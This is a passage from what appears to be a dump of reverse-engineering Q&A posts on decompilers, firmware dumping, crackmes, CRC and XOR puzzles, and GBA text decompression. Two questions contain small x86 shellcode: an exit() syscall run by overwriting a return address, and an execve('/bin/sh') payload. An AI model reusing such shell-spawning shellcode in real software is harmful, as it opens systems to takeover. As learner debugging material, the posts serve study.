+ +I've searched but I didn't find any answer. What does this ""arw"" line mean? +" +"['ida', 'memory', 'address']"," Title: IDA map one memory address to anotherBody: I am trying to reverse engineer firmware for an embedded device. The memory region 0xA0000000-0xA1FFFFFF is mapped to 0x80000000-0x81FFFFF. How do I setup ida to recognise this? +" +"['decompilation', 'lua']"," Title: How to decompile these LUAs from the Bookworm Adventures games?Body: I'm trying to decompile the LUCs (customly extensioned LUAs) from both of the games but they won't decompile, they aren't encrypted and use LUA version 5.0.2 (32-bit) according to the game's code. They are headered LuaV with extra bytes of some sort. Anyone willing to help me decompile these files? If so thanks so much. + +https://zenhax.com/download/file.php?id=6262 (Vol 1) + +https://zenhax.com/download/file.php?id=6251 (Vol 2) +" +"['assembly', 'x86']"," Title: How the CMP instruction uses condition flags?Body: I am trying to figure out the behavior of conditional jumps (JE/JNE, JZ/JNZ) in the x86 instruction set familly. + +Which condition flags CMP instruction sets and how, if the result is equal and if it is not? For example: + + +" +"['decompilation', 'c', 'decompile', 'compilers', 'decompiler']"," Title: Is there any decompiler, which can produce a compilable result?Body: I would like to decompile a 32-bit Linux executable to C, modify some parts of it, and then compile it back. I do not care if the C code is not pretty and really hard to maintain. The only thing I care is to be able to compile it back to a 32-bit executable. +The program was written in C++ around 2006, but the source code was lost since then. It is not a small program, and it uses some dynamically linked libraries as well. +I tried Boomerang and Avast RetDec. None of them is able to provide a compilable result, but the one RetDec provides, is sometimes surprisingly readable. Unfortunately, I can not use this output to rewrite the project, because the code is really long. That is why I am looking for a way to produce compilable C code in the first place. +" +"['decompilation', 'hopper', 'script', 'command-line']"," Title: Is there any way to execute Hopper scripts from command line?Body: What should I do if I have a batch of binaries to decompile with Hopper? +I know how to run a Hopper script in the UI interface, is there any way to run Hopper scripts from command line? Or any other way to decompile a lot of files easily? +" +"['disassembly', 'assembly']"," Title: What is this assembly doing?Body: I wrote a very basic crackme to learn how assembly works. + +Even though I wrote it myself, I am having some trouble understanding a few pieces of the assembly: + + + +What I know up to now is: [rbp+rax+input_buffer] is basically input_buffer[rax], xor'ing two of the same registers resets them and that's about it (apart from the very basic stuff like add, mov, inc). + +I specifically don't understand what movsx .. and add ecx, 0FFF.. is doing. + +The input_buffer is filled with _fgets. I'm intentionally not saying a working input to see if you can figure it out (it shouldn't be hard anyways). + +A proper input would be 0123456789\n, note that I discard the newline via strcspn. +" +['debugging']," Title: OPENOCD Error codes: How do I fix this?Body: I have a chip I am trying to use JTAG communications with using openOCD. However, I get the following error: + +
openocd -f ocd.cfg 
+Open On-Chip Debugger 0.10.0
+Licensed under GNU GPL v2
+For bug reports, read
+    http://openocd.org/doc/doxygen/bugs.html
+Warn : Adapter driver 'buspirate' did not declare which transports it allows; assuming legacy JTAG-only
+Info : only one transport option; autoselect 'jtag'
+srst_only separate srst_gates_jtag srst_open_drain connect_deassert_srst
+Info : Buspirate Interface ready!
+Info : This adapter doesn't support configurable speed
+Warn : There are no enabled taps.  AUTO PROBING MIGHT NOT WORK!!
+Info : TAP auto0.tap does not have IDCODE
+Warn : AUTO auto0.tap - use ""jtag newtap auto0 tap -irlen 2 -expected-id 0x00000000""
+Error: auto0.tap: IR capture error; saw 0x0002 not 0x0001
+Warn : Bypassing JTAG setup events due to errors
+Warn : gdb services need one or more targets defined
+
+ +I suspect this is due to a poor connection somewhere, but I don't know which lead to suspect. How should I go about debugging this issue? + +To be clear I am asking this from the perspective of OpenOCD software, not my hardware: +Why does it expect 0x0001? Can I configure it to expect 0x0002? + +Why is it giving up after these two errors? + +For the record I am using this config: + +
source [find interface/buspirate.cfg]
+
+
+buspirate_vreg 0
+buspirate_mode open-drain
+buspirate_pullup 1
+
+buspirate_port /dev/tty.usbserial-A90809RC
+
+
+ +As my chip is not includes in the /boards directory, I could include a board from there using the source directive. +" +['crc']," Title: Reverse engineer SharePoint hash algorithmBody: I'm trying to reverse engineer a hash algorithm used by SharePoint 2016 in MSSCrawlUrl database table. I would like to avoid discussions about the idea itself (which I agree goes against SharePoint best practices), the answer is one word: legacy. + +In short, that database table contains some URLs and their hashes. SharePoint somehow calculates a hash from values in AccessUrl column (which contains URLs), and puts the result into AccessHash column. The calculation is done by unmanaged (i.e. non-.Net) code. + +So far I was able to figure out the following: + +
    +
  1. AccessHash column definitely contains a CRC-32. In particular, the function is affine, i.e. +hash(a ^ b ^ c) = hash(a) ^ hash(b) ^ hash(c) +where ^ means XOR
  2. +
  3. I could find a generating polynomial for the hash function (or I believe I could): 0x82608EDB. I used a technique outlined in this article: http://www.cosc.canterbury.ac.nz/greg.ewing/essays/CRC-Reverse-Engineering.html
  4. +
+ +After that I applied some brute force but couldn't figure out other algorithm parameters. The problem is a little bit more complicated because: + +
    +
  1. I don’t know the actual encoding that SharePoint uses when it computes hashes. I tried several in my brute force code, but I'm not sure if I'm missing something.
  2. +
  3. I don't have full control over the sample data, because a source string must be a valid URL (otherwise, SharePoint won't calculate a hash from it).
  4. +
+ +Here are some examples of URLs and their hashes: + +
AccessURL       AccessHash
+http://a0       2141537348
+http://a1      -1380154216
+http://a2       -547891125
+http://a4        981557741
+http://a8       -169013482
+http://aq       -319117100
+http://aa        -55893049
+
+ +More examples can be found in this file: https://bitbucket.org/johnnyjob/spreveng/src/master/CrcHack/Program.cs + +The code which performs a brute force can be found here: https://bitbucket.org/johnnyjob/spreveng/src/master/ + +I'm open to any ideas, thanks in advance. +" +"['ida', 'assembly']"," Title: SIGBUS when trying to trace functions?Body: I am working on a crackme (Mach-O, mac app). + +Now, the app itself is weird and I honestly don't really know where to start. There are multiple threads and the main function doesn't really tell me where the serial verification is located. + +Instead of going through main, I went through _objc_msgSend and found some interesting functions that print the usual 'you win/you lose'. + +If I check the reference of those, I end up here: + +
; Segment type: Pure data
+000062F4 __inst_meth segment dword public 'DATA' use32
+000062F4 assume cs:__inst_meth
+000062F4 ;org 62F4h
+000062F4 stru_62F4 __objc_method_list <0, 0Eh>   ; DATA XREF: __class:stru_60C4↑o
+000062FC __objc_method <offset sel_dealloc, offset aV804, \ ; -[MCAppDelegate dealloc] ...
+000062FC                offset __MCAppDelegate_dealloc_>
+00006308 __objc_method <offset sel_succeed, offset aV804, \ ; -[MCAppDelegate succeed] ...
+00006308                offset __MCAppDelegate_succeed_>
+00006314 __objc_method <offset sel_crackDetected, offset aV804, \ ; -[MCAppDelegate crackDetected] ...
+00006314                offset __MCAppDelegate_crackDetected_>
+00006320 __objc_method <offset sel_fail, offset aV804, \ ; -[MCAppDelegate fail] ...
+00006320                offset __MCAppDelegate_fail_>
+0000632C __objc_method <offset sel_a, offset aV804, offset __MCAppDelegate_a_> ; -[MCAppDelegate a] ...
+00006338 __objc_method <offset sel_b, offset aV804, offset __MCAppDelegate_b_> ; -[MCAppDelegate b] ...
+00006344 __objc_method <offset sel_c, offset aV804, offset __MCAppDelegate_c_> ; -[MCAppDelegate c] ...
+00006350 __objc_method <offset sel_d, offset aV804, offset __MCAppDelegate_d_> ; -[MCAppDelegate d] ...
+0000635C __objc_method <offset sel_e, offset aV804, offset __MCAppDelegate_e_> ; -[MCAppDelegate e] ...
+00006368 __objc_method <offset sel_f, offset aV804, offset __MCAppDelegate_f_> ; -[MCAppDelegate f] ...
+00006374 __objc_method <offset sel_mk, offset aV804, \ ; -[MCAppDelegate mk] ...
+00006374                offset __MCAppDelegate_mk_>
+00006380 __objc_method <offset sel_applicationDidFinishLaunching_, \ ; -[MCAppDelegate applicationDidFinishLaunching:] ...
+00006380                offset aV12048, \
+00006380                offset __MCAppDelegate_applicationDidFinishLaunching__>
+0000638C __objc_method <offset sel_window, offset a804_0, \ ; -[MCAppDelegate window] ...
+0000638C                offset __MCAppDelegate_window_>
+00006398 __objc_method <offset sel_setWindow_, offset aV12048, \ ; -[MCAppDelegate setWindow:] ...
+00006398                offset __MCAppDelegate_setWindow__>
+00006398 __inst_meth ends
+
+ +Now, unfortunately this doesn't lead me anywhere. I checked the references and found nothing. + +After this failed attempt, I tried to trace functions via IDA with the local MacOS debugger. + +First thing first, it throws this error just after starting the process: + +
+ Unexpected dyld_opcode in the debugger server (init_dyld): 5ffb +
+ +I found absolutely no info about this, so I just ignored it. + +Then I started the function tracing and got this: + +
+ got SIGBUS signal (bus error) (exc.code a, tid 24571) +
+ +Now, keep in mind that this is my first 'real' crackme. Everything that I did before was just a command line application, so it was much more straightforward than this. + +I am not even sure if 'function tracing' is what I think it is. I was hoping for some kind of function call hierarchy where I could find what exactly called the 'fail' function. +" +"['assembly', 'shellcode']"," Title: exit() syscall within shellcode not workingBody:
int main()
+{
+    char shellcode[] = ""\xbb\x00\x00\x00\x00\xb8\x01\x00\x00\x00\xcd\x80"";
+
+    int *ret;
+    ret = (int *)&ret + 2;
+    (*ret) = (int)shellcode;
+}
+
+ +I tried to run the above shellcode but got a segmentation fault. +Then, I tried putting the shellcode inside the main and it worked, why? + +Also, when I do strace to the binary to check the syscall, it shows that exit_group() syscall is called but the shell code is for exit() syscall. + + +" +"['ida', 'idapython']"," Title: Get all ordinals from local types viewBody: Is there a way to get all ordinals of the local types view with the ida python api? + +i have tried to get all ordinals for structs with: [ida_struct.get_struc(id).ordinal for _, id, _ in Structs()]. This also works for enums if you replace Structs() with Enums() but this is not complete. Some structs are just in the local types view and i dont know how to get this ordinals. +" +"['disassemblers', 'decompiler', 'ghidra']"," Title: NSA Ghidra 9 - Is the decompiler open source?Body: I recently downloaded Ghidra (link) ver 9 on windows. + +The decompiler feature is presumable found at + +
<GHIDRA_HOME>\Ghidra\Features\Decompiler
+
+ +There is a lib folder containing the Java code. Then there is an os folder containing binaries for 3 different platforms (win, mac and linux) around 2.4 - 2.9 MB each per platform. + +My questions + +
    +
  1. This makes Ghidra not truly portable. If there is a reason to do this, then why not use JNI/JNA instead? Why take the dirty route of launching an executable?
  2. +
  3. Is the decompiler open source but written in native code? Can you point out the source codes location for such? If its not provided then can we say its truly open source (read backdoors!) If the decompiler's job is just to spit out pseudo-c code from the dissembly, then 2+ MB is an overkill for such a component, assuming a low-level language like C/C++ is used to write it.
  4. +
+" +"['android', 'fuzzing']"," Title: Android application fuzzingBody: How to do fuzzing in Android applications? Do we have any fuzzer specific to the android? + +Actually, I am looking for an easy way to do fuzzing while performing penetration testing of android applications. +" +['powerpc']," Title: PowerPC ELF32 detecting VLEBody: I am writing an ELF32 parser and disassembler for PowerPC. + +Does anyone knows how to detect if the file is using VLE architecture from ELF header? I see that IDA can do it automatically. +" +"['windows', 'frida']"," Title: How to inject JavaScript into a browser with Frida?Body: I'm learning how to use Frida, and would like to do something basic like inject JavaScript into a browser on Windows to list all running tabs. It seems like it should be possible as Frida allows you to + +
+ inject snippets of JavaScript into native apps on Windows, Mac, Linux, + iOS and Android, +
+ +but almost all of the articles online deal with how to use it for Android or iOS and I haven't found anything relevant to my scenario. + +If my understanding of the situation is incorrect, please explain why. +" +"['assembly', 'shellcode']"," Title: segmentation fault at `mov byte [esi+7], al`Body:
Section .text
+        global _start
+
+_start:
+        jmp short GoToCall
+
+shellcode:
+        pop             esi
+        xor             eax, eax
+        mov byte        [esi+7], al
+        lea             ebx, [esi]
+        mov long        [esi + 8], ebx
+        mov long        [esi + 12], eax
+        mov byte        al, 0x0b
+        mov             ebx, [esi]
+        lea             ecx, [esi + 8]
+        lea             edx, [esi + 12]
+        int             0x80
+
+GoToCall:
+        Call shellcode
+        db      ""/bin/shJAAAABBBB""
+
+ +After compiling the above shellcode I got below disassembly. where at 3rd line I am getting the Segmentaion fault. + +
(gdb) disassemble shellcode 
+Dump of assembler code for function shellcode:
+   0x08049002 <+0>: pop    %esi
+   0x08049003 <+1>: xor    %eax,%eax
+=> 0x08049005 <+3>: mov    %al,0x7(%esi)
+   0x08049008 <+6>: lea    (%esi),%ebx
+   0x0804900a <+8>: mov    %ebx,0x8(%esi)
+   0x0804900d <+11>:    mov    %eax,0xc(%esi)
+   0x08049010 <+14>:    mov    $0xb,%al
+   0x08049012 <+16>:    mov    (%esi),%ebx
+   0x08049014 <+18>:    lea    0x8(%esi),%ecx
+   0x08049017 <+21>:    lea    0xc(%esi),%edx
+   0x0804901a <+24>:    int    $0x80
+End of assembler dump.
+(gdb) printf ""%s"", $esi
+/bin/shJAAAABBBB(gdb) printf ""%s"", $esi+7
+JAAAABBBB(gdb) si
+
+Program received signal SIGSEGV, Segmentation fault.
+0x08049005 in shellcode ()
+(gdb) 
+
+" +"['elf', 'ghidra']"," Title: How to export a working elf binary from Ghidra?Body: When patching a program and then using the export binary function, it turns the elf headers are corrupt. + +Is there any way to work around this problem? +" +"['firmware', 'gdb', 'exploit', 'qemu', 'firmware-analysis']"," Title: GDB: Could not load shared library symbolsBody: I'm currently having a look at the Damn Vulnerable Router Firmware, and I'm roughly following the description that is given here: + +https://p16.praetorian.com/blog/getting-started-with-damn-vulnerable-router-firmware-dvrf-v0.1 + +This means I did the following: + + + +When I now continue with c I get: + +
+ (gdb) c + Continuing. + warning: Could not load shared library symbols for 3 libraries, e.g. /lib/libgcc_s.so.1. + Use the ""info sharedlibrary"" command to see the complete listing. + Do you need ""set solib-search-path"" or ""set sysroot""? + [Inferior 1 (Remote target) exited with code 0101] + (gdb) info sharedlibrary + No shared libraries loaded at this time. +
+ +Although this is only a warning and the debugged program seems to execute just fine, I'm wondering if I actually need to copy some more libraries into my squashfs-root folder in order to get this clean. And if so how do I find out which libraries and where to get them? (info sharedlibrary didn't yield anything) +" +['arm']," Title: How is thumb branch calculatedBody: I have the instruction which is: + +
 5ff1aed4         bl         sub_5ff171d0  
+
+ +which assembles to: + +
FCF77CF9
+
+ +This appears to mean that the program is branching backwards, However I can't seem to find the offset it is adding onto the PC when I try to dissassemble the instruction: + +
OP   H  Offset
+1111 1 00101111100 // Low - 17C 
+1111 0 11111111100 // High - 7FC 
+
+ +This is clearly incorrect because it increases the size of the program counter instead of decreasing it. Can anyone explain where I'm going wrong? +" +"['binary-analysis', 'binary']"," Title: Vulnerabilities of Binary executed by rootBody: I was given a vulnerable 64bit dynamically linked stripped that runs simple checks to determine the strength of the passwords of users on a linux system. + +The app checks if it the EUID is 0 and then creates two POSIX message queues one for the password hashes which it a child process reads using the shadow api and later sends to other worker child processes(#num defined by the user) that perform decryption attempts, and one where the workers send the weak passwords found to another child process that prints them on screen. + +As stated in the instructions the app is supposed to be used by administrator users (i.e. root), which by my understanding means it is not a SUID, so no way of priviledge escalation (?). + +My problem is that I don't know what to look for besides come kind of race condition or process failure scenario that can cause leakage of hashes or decrypted passwords. Is there anything that can be done by exploiting the Linker ? +" +['encryption']," Title: Where can I go to learn about decryption?Body: I understand the basics of encryption and decryption, but I don't know where to go to talk to people and learn more. Are there any forums or resources to look at to learn more? + +For example, I was given two Hex strings and told that the second was modified, but originally a ~90% match of the first: + +[3E 02 2D 06 7E 31 00 00 04 2A 7E 30 00 00 04 2A] +and +[5A E1 78 F3 72 2C 90 D3 07 4A 10 41 49 4B 0D C4 F7 5D 9E 32 7C 01 F5] + +I know the second one is encrypted because a simple statistical analysis shows a balanced distribution of values, but I don't know the process for trying to de-encrypt it. +" +"['disassembly', 'assembly', 'x86', 'malware', 'idapro-sdk']"," Title: What's happening in the assembly main function?Body: I'm currently inspecting a 32-bit malware executable in a WinXP VM using IDA Pro (free version). I don't understand what's happening in the main function here. + +Where should I set the breakpoints (IDA Pro, OllyDbg) to see the content of the variables actually pushed onto the stack while debugging? I've previously set one breakpoint at offset 00401230(beginning main) and 004012C6(end main), but I don't really see the strings (variable values) turn up when observing the e.g. the stack pane in OllyDbg. I'm not sure what I'm doing wrong. + +Opening the strings window in OllyDbg, I can see some of the strings - I assume, will be used within main's function calls, including szServerName and szPassword. + +As we can see, there's three functions that are being called within main: + +sub_401000 (called 7x; Pastebin) + +sub_401170 (called 1x; Pastebin) + +sub_401090 (called 1x; Pastebin) + +Sidenote: Taking the feedback into account I've decided to post the other functions in Pastebin (see links above). Posting only the main function here, allows me to keep the post concise. + +
.text:00401230                   proc            _main near              ; CODE XREF: ___tmainCRTStartup+15Ap 
+.text:00401230                                                           ; int __cdecl main(int argc,const char **argv,const char *envp)
+.text:00401230                   argc            = dword ptr  8    
+.text:00401230                   argv            = dword ptr  0Ch
+.text:00401230                   envp            = dword ptr  10h
+.text:00401230
+.text:00401230 55                                push    ebp
+.text:00401231 8B EC                             mov     ebp, esp
+.text:00401233 68 C0 B9 40 00                    push    offset szServerName 
+.text:00401238 68 00 A0 40 00                    push    offset unk_40A000   
+.text:0040123D E8 BE FD FF FF                    call    sub_401000          
+.text:00401242 83 C4 08                          add     esp, 8
+.text:00401245 68 C0 B3 40 00                    push    offset szUserName  
+.text:0040124A 68 00 A1 40 00                    push    offset unk_40A100  
+.text:0040124F E8 AC FD FF FF                    call    sub_401000                     
+.text:00401254 83 C4 08                          add     esp, 8
+.text:00401257 68 C0 BF 40 00                    push    offset szPassword  
+.text:0040125C 68 00 A2 40 00                    push    offset unk_40A200
+.text:00401261 E8 9A FD FF FF                    call    sub_401000
+.text:00401266 83 C4 08                          add     esp, 8
+.text:00401269 68 C0 B7 40 00                    push    offset szLocalFile 
+.text:0040126E 68 08 A3 40 00                    push    offset unk_40A308
+.text:00401273 E8 88 FD FF FF                    call    sub_401000
+.text:00401278 83 C4 08                          add     esp, 8
+.text:0040127B 68 C0 BB 40 00                    push    offset unk_40BBC0  
+.text:00401280 68 08 A4 40 00                    push    offset unk_40A408  
+.text:00401285 E8 76 FD FF FF                    call    sub_401000
+.text:0040128A 83 C4 08                          add     esp, 8
+.text:0040128D 68 C0 BD 40 00                    push    offset unk_40BDC0
+.text:00401292 68 08 A5 40 00                    push    offset unk_40A508
+.text:00401297 E8 64 FD FF FF                    call    sub_401000
+.text:0040129C 83 C4 08                          add     esp, 8
+.text:0040129F 68 C0 C1 40 00                    push    offset szRemoteFile
+.text:004012A4 68 08 A6 40 00                    push    offset unk_40A608
+.text:004012A9 E8 52 FD FF FF                    call    sub_401000
+.text:004012AE 83 C4 08                          add     esp, 8
+.text:004012B1 68 C0 B7 40 00                    push    offset szLocalFile ; lpszLocalFile
+.text:004012B6 E8 B5 FE FF FF                    call    sub_401170
+.text:004012BB 83 C4 04                          add     esp, 4
+.text:004012BE E8 CD FD FF FF                    call    sub_401090
+.text:004012C3 33 C0                             xor     eax, eax
+.text:004012C5 5D                                pop     ebp
+.text:004012C6 C3                                retn
+.text:004012C6                   endp            _main
+
+ +I'm grateful for any pointers and explanations to help me on my way to understand the main function. +" +"['ida', 'windows', 'idapython']"," Title: How to get IOCTLs from all NtDeviceIoControlFile function call?Body: Inspired by this answer about RE-ing IOCTLs, I tried to get the IOCTLs from +NtDeviceIoControlFile() syscall. Here is an example of that syscall +in Beep() function in KernelBase.dll file: + + +
and     [rsp+72], ebx                   ; OutputBufferLength
+and     [rsp+64], rbx                   ; OutputBuffer
+mov     dword ptr [rsp+56], 8           ; InputBufferLength
+lea     rax, [rsp+152]
+mov     [rsp+48], rax                   ; InputBuffer
+mov     dword ptr [rsp+40], 10000h      ; IoControlCode
+lea     rax, [rsp+78h+var_18]
+mov     [rsp+32], rax                   ; IoStatusBlock
+xor     r9d, r9d                        ; ApcContext
+xor     r8d, r8d                        ; ApcRoutine
+xor     edx, edx                        ; Event
+mov     rcx, [rsp+144]                  ; FileHandle
+call    cs:__imp_NtDeviceIoControlFile
+test    eax, eax
+
+ + + +
NTSTATUS Status;
+Status = NtDeviceIoControlFile(FileHandle,
+                               NULL,
+                               NULL,
+                               NULL,
+                               &IoStatusBlock,
+                               0x10000u,
+                               &InputBuffer,
+                               InputBufferLength,
+                               OutputBuffer,
+                               OutputBufferLength);
+
+ +I tried this code in IDA Python to list all the cross references of that syscall: + +
# Global arrays
+XrefList = []
+
+# Get imported function address
+FuncAddr = LocByName("__imp_NtDeviceIoControlFile")
+print "NtDeviceIoControlFile found at 0x%08x" % FuncAddr
+
+# Iterate over all call references
+for xref in XrefsTo(FuncAddr, True):
+    if xref.frm not in XrefList:
+        XrefList.append(xref.frm)
+        print "xref @ 0x%08x (%s)" % (xref.frm, GetFunctionName(xref.frm))
+    else:
+        continue
+
+ +This code can successfully list all the syscall in a list. But I want to list +all the IOCTLs values at RSP+40 offset i.e. 6th parameter. What code should I add? +If you have any suggestion with IDC code I shall appreciate it as well. + +" +"['firmware', 'dumping', 'jtag', 'pcb']"," Title: Finding the function of test points on a routerBody: I have a BCM3383 based cable router here where I ultimately want to dump the firmware. I have serial access to the broadcom bootloader and the linux console. Login for linux is unkown and telnet does not seem to be available. The device is supposed to run linux and ecos for different functions. +The bootloader prompt shows some options, also for reading memory so I could probably dump it from there. I need to take a closer look at how this could work though. There is no obvious JTAG header. + +Anyways, there are multiple small solder blobs labeled TP (test point I guess). + +I was wondering what would be the best approach to deduce their function and which tools I would need. +What could be common functions beyond jtag? +How are the individual components generally labeled? When I have TP 1 and 5, do I automatically have also TP 2,3,4 (maybe unlabeled) somewhere? Or are all components grouped together so that I might have C3,R4,SW5 instead? + +Are pins which belong to the same function also usually grouped together on the PCB and are their traces/pins on the CPU next to each other? This seems to be at least the case for UART,RAM, USB. + +I could maybe exclude some obvious things which are not JTAG like all the traces going from the CPU to other components like RAM, flash ... +There are still lots of other traces which end in unlabeled enameled vias on the PCB. + +What I have for the device specifically: + +TP 1,3,4 have 3.3 V, TP2 has 0.2 V. They are close to each other and directly under the CPU. + +TP282, 8 and 583 are also under the CPU and have 3.3V, 0V and 0.2V. + +TP 205,206 and 207,208 are more close to the RAM but don't seem to be connected. They all have 0.2V They are also close to each other but on different sides of the PCB. + +TP 6 and 7 have 3.3 V and are close to each other. + +There is also a lonely TP 2407 with 3.3V + +None of those has anything else connected to it, they come directly from the CPU. I was reading though, that JTAG is usually accompanied by resistors which would exclude JTAG for those TPs ? I don't know if a CPU can also have those internally. +" +"['assembly', 'elf', 'binary', 'hex', 'patching']"," Title: Any way to edit an ELF binary without hex?Body: So, this is a noob question, I am a complete beginner in this field, so sorry if I'm wasting your time in any way. + +I wanted to know, if there is a way to edit an ELF binary without using a hex editor. More specifically, I want to get the Assembly code, and then edit it directly, and then assemble it again. + +Normally, I would use objdump and wxHexEditor to patch a few values, but there is a problem - how can I write new instructions, without overwriting the next ones? This is why I wanted to know if I could edit the Assembly code instead of the hex data. + +(Please please please note - 80% of what I just said is unclear to me, because I just started to do this stuff. If you can, excuse my lack of knowledge.) +" +"['binary-analysis', 'binary', 'binary-diagnosis']"," Title: How do I decode arbitrary data from a raw extracted binary?Body: I have a IoT scale that stores my measurements into records and passes them onto my phone. I was able to read directly off a flash chip and create a binary file. The chipset is ARMv7. + +I want to be able to verify my recordings on the device match what I have on my phone. + +I ran the binary through strings and was only able to obtain the make and model of the device. I ran it through binwalk and no signatures were detected. I ran an entropy analysis and the entropy doesn't ever seem to be high enough to 1 to contain obfuscation/encryption/compression. + +Looking at the hexdump I notice that the first block of data on the binary is ARM execution code and the rest is mostly empty except for some blocks of data. I extracted the binary between multiple recordings and noticed (through diffs) that these blocks of data are created almost on-par with each recording. + +The problem im having is that each recording seemingly only adds on 32 bytes of data and none of the hex converts to the measurements or timestamps of the recordings. + +What would be the methodology to decode these 32 bytes of data? +" +"['xor', 'firmware-analysis']"," Title: Tektronix firmware XOR puzzleBody: As a means of learning about packing firmware and for fun I am trying to unpack the latest firmware for an entry level Tektronix Function generator firmware attached + +I have read the forum and installed a REMnux VM. I have also used the XOR Cracker site. + +I have convinced myself the file is XORed and not encrypted using binvis image attached + +The sites and the tools all concur as to probable XOR patterns, 94 94 90 a1 91 89 91 92 being the most likely. + +I have also studied the excellent information available on Malwarebytes + +However, saving all combinations of XORed file I am unable to find and meaningful strings nor get binwalk to make any sense of the saved file. + +Am I missing something? Can anybody suggest any other strategy to yield the un-xored file? +" +"['assembly', 'c', 'arm', 'decompress']"," Title: Reverse engineering a compression algorithm to decompress ASCII text (LZ-variant?)Body: Reposted from StackOverflow as is. + +I'm trying to decompress a very long text block from an ARMv5t powered Gameboy Advance ROM, which was compressed using some kind of custom LZ-esque compression algorithm. + +The decompression algorithm, as I understood it is as follows (someone else figured it out): + +
Read data in 32 bit pieces 
+position = 0
+output = initialized buffer
+read 1 bit
+
+if (bit == 1):
+    read next 7 bits, save at current position (ASCII character)
+
+if (bit == 0):
+    read 2 bits:
+        if (bits == 00):
+            read 7 bits (X)
+            read 2 bits (Y)
+            take Y + 2 characters from (position - X) 
+            write Y + 2 characters at current position to output
+            save X as save_X
+        if (bits == 01):
+            read 4 bits (X)
+            take the character at (position - X + 1) 
+            write 1 character at current position to output
+        if (bits == 10):
+            read 3 bits (Y)
+            take Y characters at (position - save_X) 
+            write Y characters at current position to output 
+        if (bits == 11):
+            read 9 bits (X)
+            read 2 bits (Y)
+            Z = (Y + 1) * 2 + 1;
+            take Z characters at (position - X)
+            write Z characters at (position - X) to output
+
+ +My C implementation works very well for the first 157 characters, for which [bits == 11] never happens. Then, once this write is completed, the purpose of the next 6 bits is completely unknown to me, and if I skip them, the next character will display correctly and that's about it, then it's gibberish. Also, probably of note, the source of the compressed string's first 17 bits seem to be useless zeroes, so I just did nothing with them. + +
typedef struct tag_input_t {
+    uint32_t data;
+    FILE* file;
+    unsigned buffer;
+    int buffer_bits;
+} input_t;
+
+
+uint32_t data = get_next_block(file);  // 32 bit block
+
+input_t input; // input is a struct with a buffer, so that if I need to read X bits and there are only Y (Y<X) bits left, I can load the next 32 bit block.
+init_input(&input, data, file); 
+
+new_read_bits(&input, 17);
+
+int save_X = 0;
+int position = 0;
+
+while (position < 256) {
+    unsigned is_char = new_read_bits(&input, 1);
+    if (is_char) output[position++] = new_read_bits(&input, 7);
+    else {
+        unsigned mode = new_read_bits(&input, 2);
+        unsigned X, Y, Z;
+        switch (mode) {
+            case 0:
+                save_X = X = new_read_bits(&input, 7);
+                Y = new_read_bits(&input, 2);
+                memmove(output + position, output + position - X, Y + 2);
+                position += Y + 2;
+                break;
+            case 1:
+                X = new_read_bits(&input, 4);
+                output[position] = output[position - X + 1];
+                position++;
+                break;
+            case 2:
+                Y = new_read_bits(&input, 3);
+                memmove(output + position, output + position - save_X, Y + 1);
+                position += Y + 1;
+                break;
+            default: //case 3:
+                X = new_read_bits(&input, 9);
+                Y = new_read_bits(&input, 2);
+                Z = (Y + 1) * 2 + 1;
+                memmove(output + position, output + position - X, Z);
+                position += Z;
+                break;
+        }
+    }
+}
+
+ +The compressed string can be found here (partial), I'm stuck at 08D0CCD0. +Keep in mind that these values need to be read as 20006491 A023C247 etc... + +
91640020 47C223A0 1E698F90 79443E92 8FE4E740 31501F79 C43D0736 25F4087D 203C0FE6 C0151332 3E1190C3 02ECF3E0 09584121 DCF3A03D A7C1261D 6B430698 E6422195 41701E0F 34BF0BF4 0EECA58E 3332407C 0BE49541 0262203D DEC7E15C 08D0CCD0 3C8D1C09 7004C4C5 66EEF099
+
+ +So if for example, we take the first 8 bytes, 91640020 and A023C247 we get this: + +
‭00100000000000000        11001001 0010001‬ 10100000 0010001 11100001 0010001 11__
+first 17 are ignored     ^------- ^  ---- ^------- ^  ---- ^------- ^  ---- ^
+                             I        *    (space)      *      a         *
+
+* - results in \0
+^ - first read bit
+
+The result will be I. a.d.m.i.r.e. .y.o.u.r. .e.n.t.h.u.s.i.a.s.m (. is 00)
+
+ +The routine in ASM can be found here: + +
[0300:0040] e92d4ff0 stmfd sp!, {r4-r11,lr}                 
+[0300:0044] e3a05008 mov r5, #0x8                           
+[0300:0048] e3a0a000 mov r10, #0x0                          
+[0300:004c] e3a0c001 mov r12, #0x1                          
+[0300:0050] ea000003 b $03000064       
+[0300:0054] e1a08003 mov r8, r3
+[0300:0058] eb00008b bl $0300028c       
+[0300:005c] e0877004 add r7, r7, r4                         
+[0300:0060] e4c07001 strb r7, [r0], #0x1                    
+[0300:0064] e25aa001 subs r10, r10, #0x1                    
+[0300:0068] 44916004 ldrmi r6, [r1], #0x4                   
+[0300:006c] 43a0a01f movmi r10, #0x1f                       
+[0300:0070] e0966006 adds r6, r6, r6                        
+[0300:0074] 2afffff6 bcs $03000054       
+[0300:0078] e25aa001 subs r10, r10, #0x1                    
+[0300:007c] 44916004 ldrmi r6, [r1], #0x4                   
+[0300:0080] 43a0a01f movmi r10, #0x1f                       
+[0300:0084] e0966006 adds r6, r6, r6                        
+[0300:0088] 2a00003b bcs $0300017c                          
+[0300:008c] e25aa001 subs r10, r10, #0x1                    
+[0300:0090] 44916004 ldrmi r6, [r1], #0x4                   
+[0300:0094] 43a0a01f movmi r10, #0x1f                       
+[0300:0098] e0966006 adds r6, r6, r6                        
+[0300:009c] 3a000023 bcc $03000130
+[0300:00a0] e3a08004 mov r8, #0x4
+[0300:00a4] eb000078 bl $0300028c       
+[0300:00a8] e2577001 subs r7, r7, #0x1                      
+[0300:00ac] 0affffeb beq $03000060
+[0300:00b0] 5a00001c bpl $03000128      
+[0300:00b4] e25aa001 subs r10, r10, #0x1                    
+[0300:00b8] 44916004 ldrmi r6, [r1], #0x4                   
+[0300:00bc] 43a0a01f movmi r10, #0x1f                       
+[0300:00c0] e0966006 adds r6, r6, r6                        
+[0300:00c4] 3a00000b bcc $030000f8                          
+[0300:00c8] e3a09f40 mov r9, #0x100                         
+[0300:00cc] e3a08008 mov r8, #0x8
+[0300:00d0] eb00006d bl $0300028c
+[0300:00d4] e4c07001 strb r7, [r0], #0x1
+[0300:00d8] e2599001 subs r9, r9, #0x1
+[0300:00dc] 1afffffa bne $030000cc
+[0300:00e0] e25aa001 subs r10, r10, #0x1
+[0300:00e4] 44916004 ldrmi r6, [r1], #0x4
+[0300:00e8] 43a0a01f movmi r10, #0x1f
+[0300:00ec] e0966006 adds r6, r6, r6
+[0300:00f0] 2afffff4 bcs $030000c8
+[0300:00f4] eaffffda b $03000064
